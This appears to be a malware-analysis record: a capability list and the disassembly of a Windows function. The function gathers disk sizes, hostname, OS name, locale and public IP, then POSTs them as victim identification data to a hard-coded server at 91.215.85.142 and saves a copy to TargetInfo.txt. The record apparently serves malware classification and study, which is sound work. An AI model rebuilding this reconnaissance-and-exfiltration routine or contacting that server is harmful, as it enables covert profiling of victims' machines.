Function at 0x140009180
Capabilities:
Get disk information
Get disk size
Get geographical location
Get hostname
Get system information on windows
Query or enumerate registry value
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x870]
sub rsp, 0x970
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rbp + 0x860], rax
xor r15d, r15d
cmp dword [0x140077144], r15d
jne 0x140009239
mov qword [rbp + 0x210], r15
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dil, 0x41
mov ebx, r15d
mov esi, eax
nop
test sil, 1
je 0x140009224
movzx r9d, dil
lea r8, str._c:_
mov edx, 4
mov dword [rbp - 0x7c], r15d
lea rcx, [rbp - 0x7c]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea r9, [rbp - 0x78]
mov qword [rbp - 0x78], r15
lea r8, [rbp + 0x210]
mov qword [rbp + 0x210], r15
xor edx, edx
lea rcx, [rbp - 0x7c]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov rax, qword [rbp + 0x210]
sub rax, qword [rbp - 0x78]
add rbx, rax
inc dil
shr esi, 1
cmp dil, 0x5a
jle 0x1400091d0
shr rbx, 0x1e
mov dword [0x140077144], ebx
cmp dword [0x140077160], r15d
mov rdi, 0xffffffffffffffff
jne 0x1400094f4
lea rdx, [rbp - 0x78]
mov dword [0x140077160], 0x200
lea rcx, [rbp + 0x248]
mov dword [rbp - 0x78], 0x10
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rax, [rbp + 0x210]
mov qword [rbp + 0x210], r15
lea r9d, [rdi + 2]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rsi, r15
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140009362
mov rcx, qword [rbp + 0x210]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x7c]
xor r8d, r8d
mov qword [rsp + 0x20], r15
lea rdx, str.ProductName
mov dword [rbp - 0x7c], r15d
mov dword [rbp - 0x80], r15d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140009355
cmp dword [rbp - 0x7c], 1
jne 0x140009355
mov ecx, dword [rbp - 0x80]
add rcx, 1
cmovb rcx, rdi
call fcn.14003405c
mov rsi, rax
test rax, rax
je 0x140009355
mov r8d, dword [rbp - 0x80]
xor edx, edx
inc r8
mov rcx, rax
call fcn.140050d90
mov rcx, qword [rbp + 0x210]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.ProductName
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000933e
cmp dword [rbp - 0x7c], 1
je 0x140009355
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rsi
call fcn.140034048
jmp 0x140009362
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 4
mov dword [rbp - 0x70], r15d
lea r8, [rbp - 0x70]
mov ecx, 0x400
lea edx, [r9 + 0x56]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xorps xmm0, xmm0
mov dword [rbp - 0x7c], r15d
xor eax, eax
mov qword [rsp + 0x58], r15
lea rdx, str.http:__api.ipify.org
mov dword [rbp + 0x240], eax
lea rcx, [rsp + 0x40]
movups xmmword [rbp + 0x230], xmm0
movdqu xmmword [rsp + 0x40], xmm0
call fcn.140022d40
movzx eax, al
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x5c], eax
test al, al
je 0x140009a14
lea rax, [rbp - 0x7c]
mov qword [rsp + 0x990], r14
mov qword [rsp + 0x28], rax
lea r8, str.Content_Type:_application_x_www_form_urlencoded_r_nHost:_api.ipify.org_r_n
xor r9d, r9d
mov dword [rsp + 0x20], r15d
lea rdx, [0x1400681d0]
call fcn.140022960
mov rbx, rax
test rax, rax
je 0x140009415
mov eax, dword [rbp - 0x7c]
cmp eax, 0x11
jae 0x140009415
mov r8d, eax
lea rcx, [rbp + 0x230]
mov rdx, rbx
call fcn.140051150
jmp 0x140009426
movabs rax, 0x6e776f6e6b6e75
mov qword [rbp + 0x230], rax
mov rcx, rbx
call fcn.140034048
xorps xmm0, xmm0
lea rcx, [rbp - 0x28]
movups xmmword [rbp - 0x28], xmm0
lea r14, [0x1400681d8]
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [rbp - 0x28], 9
lea rbx, [0x1400681dc]
mov r8d, 0x180
lea rcx, [rbp + 0x260]
cmovne rbx, r14
xor edx, edx
call fcn.140050d90
lea rax, [rbp + 0x248]
mov r9, rsi
mov qword [rsp + 0x38], rax
lea r8, str._s__s___s___s___s
lea rax, [rbp + 0x230]
mov edx, 0x180
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x260]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov r9d, 0x2000000
lea r8, [0x140077160]
lea rdx, [0x140077170]
lea rcx, [rbp + 0x260]
call qword [sym.imp.SHLWAPI.dll_UrlEscapeA]
mov r14, qword [rsp + 0x990]
test rsi, rsi
je 0x1400094ea
mov rcx, rsi
call fcn.140034048
lea rcx, [rsp + 0x40]
call fcn.140022930
xorps xmm0, xmm0
mov qword [rsp + 0x78], r15
lea rdx, str.http:__91.215.85.142_QWEwqdsvsf_ap.php
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140022d40
movzx eax, al
mov dword [rsp + 0x7c], eax
test al, al
je 0x140009a0f
xor edx, edx
lea rcx, [rbp + 0x110]
mov r8d, pe_nt_image_headers64
call fcn.140050d90
lea rcx, [rbp + 0x110]
call fcn.14000ca90
lea rdx, str.Content_Type:_application_x_www_form_urlencoded_r_nHost:
lea rcx, [rbp + 0x120]
call fcn.14000f530
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.14000f530
mov rcx, rax
call fcn.14000f800
mov rcx, qword [0x140076130]
xor eax, eax
mov qword [rbp + 0x220], rax
mov word [rbp + 0x228], ax
mov rax, rcx
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
test rax, rax
jne 0x1400095b8
mov rax, rcx
lea r8, str.0._llu
cqo
and edx, 0xfffff
lea r9, [rdx + rax]
sar r9, 0x14
jmp 0x1400095c2
mov r9, rax
lea r8, str._llu
mov edx, 0xa
lea rcx, [rbp + 0x220]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
xor edx, edx
lea rcx, [rbp + 0x10]
mov r8d, pe_nt_image_headers64
call fcn.140050d90
lea rcx, [rbp + 0x10]
call fcn.14000bc20
lea rdx, str.user
lea rcx, [rbp + 0x20]
call fcn.14000fba0
lea rcx, [rbp + 0x20]
call fcn.14000bdf0
lea rdx, str.TargetID
lea rcx, [rbp + 0x20]
call fcn.14000fba0
mov rcx, rax
lea rdx, [0x1400762e0]
call fcn.14000fba0
mov rcx, rax
lea rdx, str.SystemInformation
call fcn.14000fba0
mov rcx, rax
lea rdx, [0x140077170]
call fcn.14000fba0
mov rcx, rax
lea rdx, str.max_size_of_file
call fcn.14000fba0
mov rcx, rax
lea rdx, [rbp + 0x220]
call fcn.14000fba0
mov rcx, rax
lea rdx, str.size_of_hdd
call fcn.14000fba0
mov edx, dword [0x140077144]
mov rcx, rax
call fcn.14000bf50
mov rcx, qword [rbp + 0x98]
xorps xmm0, xmm0
mov eax, ecx
mov qword [rbp - 0x58], r15
and al, 0x22
mov qword [rbp - 0x50], 0xf
movups xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x68], r15b
movups xmmword [rbp + 0x230], xmm0
cmp al, 2
je 0x1400096d3
mov rax, qword [rbp + 0x68]
mov rbx, qword [rax]
test rbx, rbx
je 0x1400096d3
cmp rbx, qword [rbp + 0x90]
mov rax, qword [rbp + 0x48]
cmovb rbx, qword [rbp + 0x90]
mov r9, qword [rax]
sub rbx, r9
jmp 0x1400096f8
test cl, 4
jne 0x140009728
mov rax, qword [rbp + 0x60]
mov rcx, qword [rax]
test rcx, rcx
je 0x140009728
mov rax, qword [rbp + 0x40]
mov r9, qword [rax]
mov rax, qword [rbp + 0x78]
movsxd rbx, dword [rax]
sub rbx, r9
add rbx, rcx
mov rax, r9
test rax, rax
je 0x140009728
lea rcx, [rbp - 0x68]
cmp rbx, 0xf
ja 0x140009720
mov r8, rbx
mov qword [rbp - 0x58], rbx
mov rdx, r9
call fcn.140051150
mov byte [rbp + rbx - 0x68], r15b
jmp 0x140009728
mov rdx, rbx
call fcn.140010fe0
mov rcx, qword [rbp + 0x198]
xorps xmm0, xmm0
movdqa xmm1, xmmword [0x140069e10]
mov eax, ecx
mov rbx, qword [rbp - 0x58]
and al, 0x22
movups xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x48], r15w
movdqu xmmword [rbp - 0x38], xmm1
movups xmmword [rbp + 0x230], xmm0
cmp al, 2
je 0x14000978b
mov rax, qword [rbp + 0x168]
mov r8, qword [rax]
test r8, r8
je 0x14000978b
cmp r8, qword [rbp + 0x190]
mov rax, qword [rbp + 0x148]
cmovb r8, qword [rbp + 0x190]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x1400097cf
test cl, 4
jne 0x1400097c1
mov rax, qword [rbp + 0x160]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400097c1
mov rax, qword [rbp + 0x140]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x178]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, rcx
sar r8, 1
jmp 0x1400097cf
mov r8, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x230]
test rdx, rdx
je 0x1400097dd
lea rcx, [rbp - 0x48]
call fcn.14000f130
cmp qword [rbp - 0x50], 0xf
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x68]
cmova r9, qword [rbp - 0x68]
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
lea rdx, str.POST
lea rcx, [rsp + 0x60]
mov dword [rbp - 0x78], r15d
cmova r8, qword [rbp - 0x48]
mov dword [rsp + 0x20], ebx
call fcn.140022960
test rax, rax
je 0x140009828
mov rcx, rax
call fcn.140034048
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea rcx, str.TargetInfo.txt
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, rdi
je 0x140009961
mov rcx, qword [0x140076130]
xor eax, eax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x218], ax
mov rax, rcx
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
test rax, rax
jne 0x1400098ac
mov rax, rcx
lea r8, str.0._d
cqo
and edx, 0xfffff
lea r9, [rdx + rax]
sar r9, 0x14
jmp 0x1400098b6
mov r9, rax
lea r8, str._llu
mov edx, 0xa
lea rcx, [rbp + 0x210]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
xor r9d, r9d
mov dword [rbp - 0x78], 0x200
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x260]
lea rcx, [0x140077170]
call qword [sym.imp.SHLWAPI.dll_UrlUnescapeA]
mov eax, dword [0x140077144]
lea r9, [0x1400762e0]
mov dword [rsp + 0x30], eax
lea r8, str._s_s_s_d
lea rax, [rbp + 0x210]
mov edx, 0x400
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x460]
lea rax, [rbp + 0x260]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea rax, [rbp + 0x460]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x140009933
mov r8, rdi
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x70]
mov rcx, rbx
lea rdx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x1400099a1
mov rcx, qword [rbp - 0x48]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000999c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a40
call fcn.14002c5f0
mov rdx, qword [rbp - 0x50]
movdqa xmm0, xmmword [0x140069e10]
mov word [rbp - 0x48], r15w
movdqu xmmword [rbp - 0x38], xmm0
cmp rdx, 0xf
jbe 0x1400099ea
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400099e5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a40
call fcn.14002c5f0
lea rcx, [rbp + 0x10]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], r15b
call fcn.140009b40
lea rcx, [rbp + 0x110]
call fcn.140009a50
lea rcx, [rsp + 0x60]
call fcn.140022930
mov rcx, qword [rbp + 0x860]
xor rcx, rsp
call fcn.14002c2f0
lea r11, [rsp + 0x970]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
call fcn.1400395bc
int3